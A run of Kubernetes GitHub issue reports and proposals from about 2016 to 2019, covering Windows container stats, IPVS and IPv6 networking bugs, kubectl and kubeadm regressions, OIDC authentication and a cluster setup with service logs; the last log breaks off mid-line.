this is a proposal to support stats inside the kubelet for windows server containers.  \r    \r   summary    \r stats are missing from windows server containers, despite the fact that stats are important to enable monitoring of windows server containers  via ingestion into components such as heapster  as well as enabling auto scaling features that rely on metrics to function properly. \r    \r   rational and paint points    \r currently, the /stats/summary api will consistently crash the kubelet on windows server containers. usually, stats are populated from cadvisor, which reads them directly from cgroups on linux.    \r   \r for windows, cadvisor is not supported and there are no plans to support it on windows in the future https://github.com/google/cadvisor/issues/1394 . the community has also been investigating pushing stats into the cri and defining a set of “minimum required container metrics” in order to decouple kubelet’s reliance on cadvisor. some of the discussion about the cri stats can be found here:  \r    \r a better story of container metrics for runtime integration  https://github.com/kubernetes/kubernetes/issues/27097   \r cri: instruct kubelet to  optionally  consume container stats from cri  https://github.com/kubernetes/kubernetes/issues/46984   \r cri: support non-builtin container runtimes  https://github.com/kubernetes/kubernetes/issues/47872   \r    \r currently, the cri stats have not been implemented fully. the kubelet does not read stats from cri and the cri stats providers are not implemented as well, it's still a work in progress by the community.   \r    \r   plan     \r due to the fact that the cri stats work is still under development, the plan is to first add support for windows stats via a cadvisor via windows-shim as a short term solution, and later reuse this work by refactoring the code to use cri stats interfaces when they will be ready.   \r    \r currently, in the kubelet, cadvisor is abstracted away via small shim  cadvisor_linux.go and cadvisor_win.go in pkg/kubelet/cadvisor . on linux, the cadvisor shim usually redirects calls to the underlying cadvisor library directly, but on windows the shim returns empty cadvisor data structures. the proposal is to fill these data structures with the correct metrics on the windows side using a combination of native windows perf monitoring subsystem  perfcounters to get node stats  and calling out to the docker engine rest api to get container stats.

the current mechanism of trusting self reported ips and hostnames is broken.

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r when the kubernetes openstack cloud provider is enabled, pods with network=host advertise with an ipv6 address if the machine has an ipv6 address instead of ipv4.\r \r this breaks things like calico and seems to create all sorts of weird issues.\r \r   what you expected to happen  :\r \r the machine uses it's ipv4 addresses, as ipv6 is still largely unsupported in kubernetes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - build an openstack instance with both an ipv4 and ipv6 address\r - install a kube environment using kubeadm  following  this guide  http://henriquetruta.com/2017/09/13/openstack-cloud-provider/   \r - check pod ip's after enabling the openstack cloud provider\r    \r po/kube-proxy-8jjl4                                        1/1       running   2          1h        2001:558:fc0a:6:f816:3eff:fe86:887d   kube-master-01.openstacklocal\r po/kube-scheduler-kube-master-01.openstacklocal            1/1       running   2          1h        2001:558:fc0a:6:f816:3eff:fe86:887d   kube-master-01.openstacklocal\r    \r - check addresses on node:\r    addresses:\t\t\t\t\t\t\t \r   - address: 2001:558:fc0a:6:f816:3eff:fe86:887d\t     \r     type: internalip\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.2\r - cloud provider or hardware configuration: openstack mitaka\r - os  e.g. from /etc/os-release : centos-7\r - kernel  e.g.  uname -a  : 3.10.0-693.5.2.el7.x86_64\r - install tools: kubeadm 1.8.2\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r i was using kubernetes 1.8.2 and calico 2.4 with ipvs.\r \r this is my proxy configuration\r    \r         \ name\ : \ proxy\ ,\r         \ image\ : \ kubernetes:v1.8.2-ee\ ,\r         \ imagepullpolicy\ : \ ifnotpresent\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ proxy\ ,\r           \ --kubeconfig=/var/lib/kubelet/kube-proxy-config\ ,\r           \ --hostname-override=9.111.255.21\ ,\r           \ --feature-gates=supportipvsproxymode=true\ ,\r           \ --proxy-mode=ipvs\ ,\r           \ --ipvs-min-sync-period=5s\ ,\r           \ --ipvs-sync-period=5s\ ,\r           \ --ipvs-scheduler=rr\ ,\r           \ --cluster-cidr=10.1.0.0/16\ \r          ,\r    \r \r this is all of the services in my cluster.\r    \r  root@gyliu-icp-1 pods   kc get svc --all-namespaces\r namespace     name         type        cluster-ip   external-ip   port s                                age\r default       kubernetes   clusterip   10.0.0.1     <none>        443/tcp                               1h\r default       my-nginx     nodeport    10.0.0.141   <none>        80:31043/tcp                          37m\r kube-system   cloudantdb   clusterip   10.0.0.126   <none>        4369/tcp,5984/tcp,6984/tcp,9000/tcp   1h\r kube-system   ds-hs        clusterip   none         <none>        4369/tcp,5984/tcp,6984/tcp,9000/tcp   1h\r kube-system   kube-dns     clusterip   10.0.0.10    <none>        53/udp,53/tcp                         1h\r    \r \r but the ipvs table was not updated\r    \r  root@gyliu-icp-1 pods   ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.0.0.1:443 rr persistent 10800\r   -> 9.111.255.21:8001            masq    1      4          3\r tcp  10.0.0.10:53 rr\r   -> 10.1.198.129:53              masq    1      0          0\r tcp  10.0.0.126:4369 rr\r tcp  10.0.0.126:5984 rr\r tcp  10.0.0.126:6984 rr\r tcp  10.0.0.126:9000 rr\r udp  10.0.0.10:53 rr\r   -> 10.1.198.129:53              masq    1      0          188\r    \r \r from above, we can see that the ip such as  tcp  10.0.0.126:9000 rr  do not have destination pod,  also some services, such as  my-nginx  was not added to the ipvs table.\r \r /cc @m1093782566 want to get some comments from you: what is the quality of ipvs in 1.8.2 with calico? can i do some performance test based on this? seems not..\r \r  /area ipvs\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when using kubectl 1.9.0-beta.1+, if you run  kubectl get po , while the api server is unreachable, you get the following misleading error:  the server doesn't have a resource type \ po\  .\r \r   what you expected to happen  :\r in versions 1.9.0-alpha.3 and lower, you get the proper error:  the connection to the server 127.0.0.1:1 was refused .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ curl -sl https://storage.googleapis.com/kubernetes-release/release/v1.9.0-beta.1/bin/linux/amd64/kubectl -o /tmp/kubectl \\\r && chmod +x /tmp/kubectl \\\r && /tmp/kubectl -s http://127.0.0.1:1 get po \r the server doesn't have a resource type \ po\ \r    \r \r if you try the same command with kubectl  1.9.0-alpha.3 , you get the correct error message:\r    \r $ curl -sl https://storage.googleapis.com/kubernetes-release/release/v1.9.0-alpha.3/bin/linux/amd64/kubectl -o /tmp/kubectl \\\r && chmod +x /tmp/kubectl \\\r && /tmp/kubectl -s http://127.0.0.1:1 get po \r the connection to the server 127.0.0.1:1 was refused - did you specify the right host or port?\r    \r you also get the same error message in kubectl  1.9.0-beta.1 , if you use the  full resource name  instead of the abbreviation:\r    \r $ curl -sl https://storage.googleapis.com/kubernetes-release/release/v1.9.0-beta.1/bin/linux/amd64/kubectl -o /tmp/kubectl \\\r && chmod +x /tmp/kubectl \\\r && /tmp/kubectl -s http://127.0.0.1:1 get pod\r the connection to the server 127.0.0.1:1 was refused - did you specify the right host or port?\r    \r \r   anything else we need to know?  :\r this is a regression between 1.9.0-alpha.3 and 1.9.0-beta.1\r \r 

  i am trying to enable this feature of encryption at rest using etcd in kubernetes 1.9.1 by providing the \   --experimental-encryption-provider-config=/etc/kubernetes/enc-conf.yaml\    in the kube-apiserver.yaml and restarting the docker and kubelet system services using \r systemctl restart docker && systemctl restart kubelet. \r \r after doing this, kube-apiserver docker container is not coming up giving the errors as\r      \ i0907 11:07:50.034358       1 server.go:121  version: v1.9.1\r error opening encryption provider configuration file \ /etc/kubernetes/enc-conf.yaml\ : open /etc/kubernetes/enc-conf.yaml: no such file or directory\   \r \r can someone please help me getting this working in kubernetes 1.9.1?\r any help would be appreciated :  \r thanks in advance.

setting  --delete-namespace-on-failure=false  is often used to keep objects in test running when the failure occurs, to help with debugging. however, many storage e2e tests, including csi tests, clean up test pods and pvcs in a  defer  statement and aftereach. as a result, even if the flag is set to false, everything gets cleaned up anyway.\r \r one option is to put cleanup functions at the end of each test, as regular function calls rather than deferred calls, but this defeats the purpose of  aftereach .\r \r what we might need is a --cleanup-on-failure  flag that enables/disables  aftereach \r \r /  

what happened  :\r \r  kubeadm upgrade plan  gave instructions to \ upgrade\  to a lower version.\r \r    \r   kubeadm upgrade plan\r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade  fetching available versions to upgrade to\r  upgrade/versions  cluster version: v1.13.1\r  upgrade/versions  kubeadm version: v1.13.2\r  upgrade/versions  latest stable version: v1.13.2\r  upgrade/versions  latest version in the v1.13 series: v1.13.2\r \r external components that should be upgraded manually before you upgrade the control plane with 'kubeadm upgrade apply':\r component   current   available\r etcd        3.3.10    3.2.24\r    \r \r   what you expected to happen  :\r \r afaict 3.3.10 is a valid version of etcd to use. if anything, i would expect that it would recommend a new minor version greater than the existing version.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install etcd 3.3.10, run  kubeadm upgrade plan \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.1  except kubeadm 1.13.2 in prep for upgrade \r - os  e.g. from /etc/os-release : centos 7.6\r - kernel  e.g.  uname -a  : linux tsdssplds602.rsc.humad.com 3.10.0-862.3.3.el7.x86_64  1 smp thu jun 14 16:17:02 pdt 2018 x86_64 x86_64 x86_64 gnu/linux\r \r 

based on  16889   this issue tracks support for basic disk accounting in kubernetes. specific work-items are as follows:    core features -  x  du works today. use du for all the categories and ensure that it works on both on aufs and overlayfs -  cadvisor   962  https://github.com/google/cadvisor/pull/962   -     add device mapper support -  cadvisor   959  https://github.com/google/cadvisor/issues/959   -  x  track disk usage of localhost volumes in kubelet.  kubernetes  19741  https://github.com/kubernetes/kubernetes/pull/19741   -  x  define a disk manager module in kubelet that will serve as a source of disk usage information for the rest of the kubelet.  kubernetes  19741  https://github.com/kubernetes/kubernetes/pull/19741   -  x  ensure that the kubelet metrics apis   /stats/summary   exposes the disk usage information. add an integration test.  kubernetes  19932  https://github.com/kubernetes/kubernetes/pull/19932   -  x  maintain references to originally created volumes instead of generating from scratch  19741 -  x  support caching fs metrics in the metricsprovider  19741 -  x  expose disk usage information through heapster      clean up items -  x  eagerly cache the fs disk results in the resource analyzer.   kubernetes  19741  https://github.com/kubernetes/kubernetes/pull/19741   -     permanently cache readonly fs metrics in the volume object. volume objects are re-created on updates -  x  add fs metric support for secrets  kubernetes  19741  https://github.com/kubernetes/kubernetes/pull/19741   -     performance test metrics api  -     disambiguate metrics error from \ not supported\   20676 -     prevent expensive metrics collection for a pod from impacting other pods collection and kubelet performance  20675 -     disambiguate pod volume stats are \ empty\  from \ not yet available\   20679    nice to haves -     volumes that wrap other volumes should delegate -     expose disk usage via kubedash  stretch .

in http://kubernetes.io/v1.1/docs/user-guide/kubeconfig-file.html it says:  > else, if envvarlocation  the value of $kubeconfig  is available, use it as a list of files that should be merged.  but the documentation does not say that how to define a \ list of files\ . the first things that came to my mind were to separate the filenames by space or newline  as is common in bash , but only after reading the source code did i find out that they need to be separated by a colon  or probably semicolon on windows .  the documentation should say that what character to use as a separator. preferably also give an example usage.  also, the documentation should not say \ envvarlocation\ , because documentation should be understandable without reading the source code, and even the source code doesn't anymore use that variable name.

this line in strategy.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/pod/strategy.go l262  is causing problems for pr  17643. we tried to purge all uses of node names as addresses in  2462, but this one came back in in  6985. it looks like there are some tls concerns that caused us to punt, but we never came back to it.

as part of 1.6 planning for both the scalability and scheduling sig i've spent a fair amount of time this week tracing through issues.  i was struct by just the sheer   of issues opened by bots!!! it's such a ridiculously high number that i don't think anyone is paying attention, step 1: \ filter-ignore the bot\ .  \r \r imo i think we need an all out testing blitzkrieg on testing similar to 1.2 but for 1.6, but i also think the way the bots are reporting is untenable.  aggregating history and statistics is far more useful imo, for each test we could aggregate stats over the last day/week/month/year to determine relative priority.  \r \r issues should only be opened if they are a statistical significance and should re-trigger a test based on recent statistics.     \r \r /cc @kubernetes/sig-contributor-experience @eparis @bgrant0607 @kubernetes/sig-testing \r \r

is anyone still using the  exec network plugin  http://kubernetes.io/docs/admin/network-plugins/ exec ? we want to deprecate it in 1.6. \r \r @kubernetes/sig-network @kubernetes/sig-node

  \r   what happened  :\r when using oidc plugin with cilogon for authentication and having api-server configured with \ --oidc-username-claim=email\ , i get an error:\r \r    \r e0710 23:01:00.850970       7 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token,  crypto/rsa: verification error, invalid bearer token, 'email_verified' claim not present   \r    \r \r cilogon is not returning email_verified field, but according to the  example  http://openid.net/specs/openid-connect-core-1_0.html userinforesponse  the email-verified field is optional and can default to false.\r \r   what you expected to happen  :\r if email_verified field is missing, treat it as false.\r \r   how to reproduce it  as minimally and precisely as possible   :\r configure the oidc plugin with cilogon according to the kubernetes docs\r configure api-server with \ --oidc-username-claim=email\  parameter\r try to authenticate\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:51:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r baremetal\r - os  e.g. from /etc/os-release :  server \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r

failure cluster  d246a41c056d50ce3fa9  https://go.k8s.io/triage d246a41c056d50ce3fa9        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:example\\  --minstartuppods=8: exit status 1           failure cluster statistics: 1 tests failed,    20 jobs failed,    214 builds failed. failure stats cover 1 day time range '17 jul 2017 22:16 utc' to '18 jul 2017 22:16 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 20 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-examples | 34 |  18 jul 2017 19:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/7754  | | ci-kubernetes-e2e-gci-gce-examples | 32 |  18 jul 2017 19:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/7150  | | ci-kubernetes-e2e-gci-gce-statefulset | 30 |  18 jul 2017 20:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/8153  |   current status  https://go.k8s.io/triage d246a41c056d50ce3fa9

see, https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1694\r \r i think  revertports    is independent from iptables, and would be used by other proxiers which needs to hold/close local port.\r \r perhaps we can move  revertports    from proxier.go to pkg/proxy/util package so that it can be consumed among different proxiers.  and, reduce codes in proxier.go\r \r  \r /assign @m1093782566\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r i setup a k8s cluster via ansible,all the progress is success.however,i got some unfigurable error.\r none of hosts can join into cluster.i have 5 servers to setup,and there are status of every node.\r and all looks good.\r master:\r    bash\r \r  kube-scheduler.service - kubernetes scheduler\r    loaded: loaded  /etc/systemd/system/kube-scheduler.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 21:15:27 cst; 8min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 43467  kube-scheduler \r    memory: 11.7m\r    cgroup: /system.slice/kube-scheduler.service\r            └─43467 /usr/local/bin/kube-scheduler --address=127.0.0.1 --master=http://127.0.0.1:8080 --leader-elect=true --v=2\r \r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.062638   43467 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ monitoring-grafana-747cd57c4b-...\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064233   43467 scheduler.go:176  failed to schedule pod: kube-system/monitoring-influxdb-6755bd4788-pjmsm\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064306   43467 factory.go:988  updating pod condition for kube-system/monitoring-influxdb-6755bd4788-pjmsm to  pods...uled==false \r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064356   43467 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ monitoring-influxdb-6755bd4788...\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064424   43467 scheduler.go:176  failed to schedule pod: kube-system/heapster-6956dd7956-5lbwg\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064508   43467 factory.go:988  updating pod condition for kube-system/heapster-6956dd7956-5lbwg to  podscheduled==false \r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.064555   43467 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ heapster-6956dd7956-5lbwg\ , ui...\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.066573   43467 scheduler.go:176  failed to schedule pod: kube-system/kube-dns-66c957dcbf-s7mtv\r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.066667   43467 factory.go:988  updating pod condition for kube-system/kube-dns-66c957dcbf-s7mtv to  podscheduled==false \r 1月 15 21:22:56 master1 kube-scheduler 43467 : i0115 21:22:56.066745   43467 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-dns-66c957dcbf-s7mtv\ , ui...\r \r ● kube-proxy.service - kubernetes kube-proxy server\r    loaded: loaded  /etc/systemd/system/kube-proxy.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:13:20 cst; 1h 10min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 37039  kube-proxy \r    memory: 7.1m\r    cgroup: /system.slice/kube-proxy.service\r            ‣ 37039 /usr/local/bin/kube-proxy --bind-address=192.168.6.3 --hostname-override=192.168.6.3 --cluster-cidr=10.68.0.0/16 --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig --logto...\r \r 1月 15 20:13:22 master1 kube-proxy 37039 : i0115 20:13:22.563845   37039 proxier.go:326  adding new service port \ kube-system/kube-dns:dns-tcp\  at 10.68.0.2:53/tcp\r 1月 15 20:13:23 master1 kube-proxy 37039 : i0115 20:13:23.948611   37039 proxier.go:326  adding new service port \ kube-system/kubernetes-dashboard:\  at 10.68.129.20:80/tcp\r 1月 15 20:13:23 master1 kube-proxy 37039 : i0115 20:13:23.968259   37039 proxier.go:1674  opened local port \ nodeport for kube-system/kubernetes-dashboard:\   :30010/tcp \r 1月 15 20:13:26 master1 kube-proxy 37039 : i0115 20:13:26.450175   37039 proxier.go:326  adding new service port \ kube-system/monitoring-influxdb:http\  at 10.68.206.163:8086/tcp\r 1月 15 20:13:26 master1 kube-proxy 37039 : i0115 20:13:26.450216   37039 proxier.go:326  adding new service port \ kube-system/monitoring-influxdb:admin\  at 10.68.206.163:8083/tcp\r 1月 15 20:13:26 master1 kube-proxy 37039 : i0115 20:13:26.467409   37039 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:http\   :32109/tcp \r 1月 15 20:13:26 master1 kube-proxy 37039 : i0115 20:13:26.467474   37039 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-influxdb:admin\   :31816/tcp \r 1月 15 20:13:27 master1 kube-proxy 37039 : i0115 20:13:27.342507   37039 proxier.go:326  adding new service port \ kube-system/heapster:\  at 10.68.42.233:80/tcp\r 1月 15 20:13:28 master1 kube-proxy 37039 : i0115 20:13:28.109467   37039 proxier.go:326  adding new service port \ kube-system/monitoring-grafana:\  at 10.68.87.42:80/tcp\r 1月 15 20:13:28 master1 kube-proxy 37039 : i0115 20:13:28.135370   37039 proxier.go:1674  opened local port \ nodeport for kube-system/monitoring-grafana:\   :32054/tcp \r \r ● kubelet.service - kubernetes kubelet\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:13:19 cst; 1h 10min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 36782  kubelet \r    memory: 11.5m\r    cgroup: /system.slice/kubelet.service\r            ‣ 36782 /usr/local/bin/kubelet --address=192.168.6.3 --hostname-override=192.168.6.3 --cgroup-driver=systemd --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd/sys...\r \r 1月 15 21:23:27 master1 kubelet 36782 : i0115 21:23:27.956137   36782 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.3\r 1月 15 21:23:27 master1 kubelet 36782 : i0115 21:23:27.956159   36782 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.3\r 1月 15 21:23:37 master1 kubelet 36782 : i0115 21:23:37.973090   36782 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:23:37 master1 kubelet 36782 : i0115 21:23:37.975697   36782 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.3\r 1月 15 21:23:37 master1 kubelet 36782 : i0115 21:23:37.975755   36782 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.3\r 1月 15 21:23:37 master1 kubelet 36782 : i0115 21:23:37.975780   36782 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.3\r 1月 15 21:23:47 master1 kubelet 36782 : i0115 21:23:47.993774   36782 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r 1月 15 21:23:47 master1 kubelet 36782 : i0115 21:23:47.996214   36782 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node 192.168.6.3\r 1月 15 21:23:47 master1 kubelet 36782 : i0115 21:23:47.996256   36782 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node 192.168.6.3\r 1月 15 21:23:47 master1 kubelet 36782 : i0115 21:23:47.996273   36782 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node 192.168.6.3\r \r ● kube-apiserver.service - kubernetes api server\r    loaded: loaded  /etc/systemd/system/kube-apiserver.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:12:49 cst; 1h 10min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 32885  kube-apiserver \r    memory: 161.3m\r    cgroup: /system.slice/kube-apiserver.service\r            └─32885 /usr/local/bin/kube-apiserver --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota --bind-address=192.168.6.3 --insecure-bin...\r \r 1月 15 21:23:44 master1 kube-apiserver 32885 : i0115 21:23:44.725236   32885 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.491777ms  200  ...0.0.1:38670 \r 1月 15 21:23:44 master1 kube-apiserver 32885 : i0115 21:23:44.739098   32885 wrap.go:42  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  12.990831ms  200 ...0.0.1:38670 \r 1月 15 21:23:45 master1 kube-apiserver 32885 : i0115 21:23:45.792938   32885 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  3.234869ms  200   kube-sch...0.0.1:38786 \r 1月 15 21:23:45 master1 kube-apiserver 32885 : i0115 21:23:45.809083   32885 wrap.go:42  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  15.356286ms  200   kube-sc...0.0.1:38786 \r 1月 15 21:23:46 master1 kube-apiserver 32885 : i0115 21:23:46.743226   32885 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  3.097621ms  200  ...0.0.1:38670 \r 1月 15 21:23:46 master1 kube-apiserver 32885 : i0115 21:23:46.758890   32885 wrap.go:42  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  14.856425ms  200 ...0.0.1:38670 \r 1月 15 21:23:47 master1 kube-apiserver 32885 : i0115 21:23:47.813098   32885 wrap.go:42  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  3.019811ms  200   kube-sch...0.0.1:38786 \r 1月 15 21:23:47 master1 kube-apiserver 32885 : i0115 21:23:47.833678   32885 wrap.go:42  get /apis/batch/v1/jobs:  4.971702ms  200   kube-controller-manager/v1.8.2  linux/amd64 ...0.0.1:38670 \r 1月 15 21:23:47 master1 kube-apiserver 32885 : i0115 21:23:47.833750   32885 wrap.go:42  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  19.762124ms  200   kube-sc...0.0.1:38786 \r 1月 15 21:23:47 master1 kube-apiserver 32885 : i0115 21:23:47.838021   32885 wrap.go:42  get /apis/batch/v1beta1/cronjobs:  3.586433ms  200   kube-controller-manager/v1.8.2  lin...0.0.1:38670 \r \r ● kube-controller-manager.service - kubernetes controller manager\r    loaded: loaded  /etc/systemd/system/kube-controller-manager.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 21:15:27 cst; 8min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 43437  kube-controller \r    memory: 23.7m\r    cgroup: /system.slice/kube-controller-manager.service\r            └─43437 /usr/local/bin/kube-controller-manager --address=127.0.0.1 --master=http://127.0.0.1:8080 --allocate-node-cidrs=true --service-cluster-ip-range=10.68.0.0/16 --cluster-cidr...\r \r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.572478   43437 controller_utils.go:1048  caches are synced for namespace controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.573092   43437 controller_utils.go:1048  caches are synced for service account controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.582705   43437 controller_utils.go:1048  caches are synced for deployment controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.583762   43437 controller_utils.go:1048  caches are synced for disruption controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.583776   43437 disruption.go:296  sending events to api server.\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.585220   43437 controller_utils.go:1048  caches are synced for certificate controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.585806   43437 controller_utils.go:1048  caches are synced for rc controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.588941   43437 controller_utils.go:1048  caches are synced for attach detach controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.681724   43437 controller_utils.go:1048  caches are synced for garbage collector controller\r 1月 15 21:15:57 master1 kube-controller-manager 43437 : i0115 21:15:57.681739   43437 garbagecollector.go:145  garbage collector: all resource monitors have synced. proceeding to...ect garbage\r \r  calico-node.service - calico node\r    loaded: loaded  /etc/systemd/system/calico-node.service; enabled; vendor preset: disabled \r    active: active  running  since 一 2018-01-15 20:13:10 cst; 1h 12min ago\r  main pid: 35088  docker \r    memory: 13.8m\r    cgroup: /system.slice/calico-node.service\r            └─35088 /usr/bin/docker run --net=host --privileged --name=calico-node -e etcd_endpoints=https://192.168.6.234:2379,https://192.168.6.235:2379 -e etcd_ca_cert_file=/etc/calico/ssl...\r \r 1月 15 21:25:17 master1 docker 35088 : 2018-01-15 13:25:17.484  info  210  int_dataplane.go 690: applying dataplane updates\r 1月 15 21:25:17 master1 docker 35088 : 2018-01-15 13:25:17.484  info  210  ipsets.go 224: asked to resync with the dataplane on next update. family=\ inet\ \r 1月 15 21:25:17 master1 docker 35088 : 2018-01-15 13:25:17.484  info  210  ipsets.go 255: resyncing ipsets with dataplane. family=\ inet\ \r 1月 15 21:25:17 master1 docker 35088 : 2018-01-15 13:25:17.486  info  210  ipsets.go 297: finished resync family=\ inet\  numinconsistenciesfound=0 resyncduration=1.650481ms\r 1月 15 21:25:17 master1 docker 35088 : 2018-01-15 13:25:17.486  info  210  int_dataplane.go 705: finished applying updates to dataplane. msectoapply=2.094861\r 1月 15 21:25:27 master1 docker 35088 : 2018-01-15 13:25:27.723  info  210  int_dataplane.go 690: applying dataplane updates\r 1月 15 21:25:27 master1 docker 35088 : 2018-01-15 13:25:27.724  info  210  ipsets.go 224: asked to resync with the dataplane on next update. family=\ inet\ \r 1月 15 21:25:27 master1 docker 35088 : 2018-01-15 13:25:27.724  info  210  ipsets.go 255: resyncing ipsets with dataplane. family=\ inet\ \r 1月 15 21:25:27 master1 docker 35088 : 2018-01-15 13:25:27.725  info  210  ipsets.go 297: finished resync family=\ inet\  numinconsistenciesfound=0 resyncduration=1.598487ms\r 1月 15 21:25:27 master1 docker 35088 : 2018-01-15 13:25:27.726  info  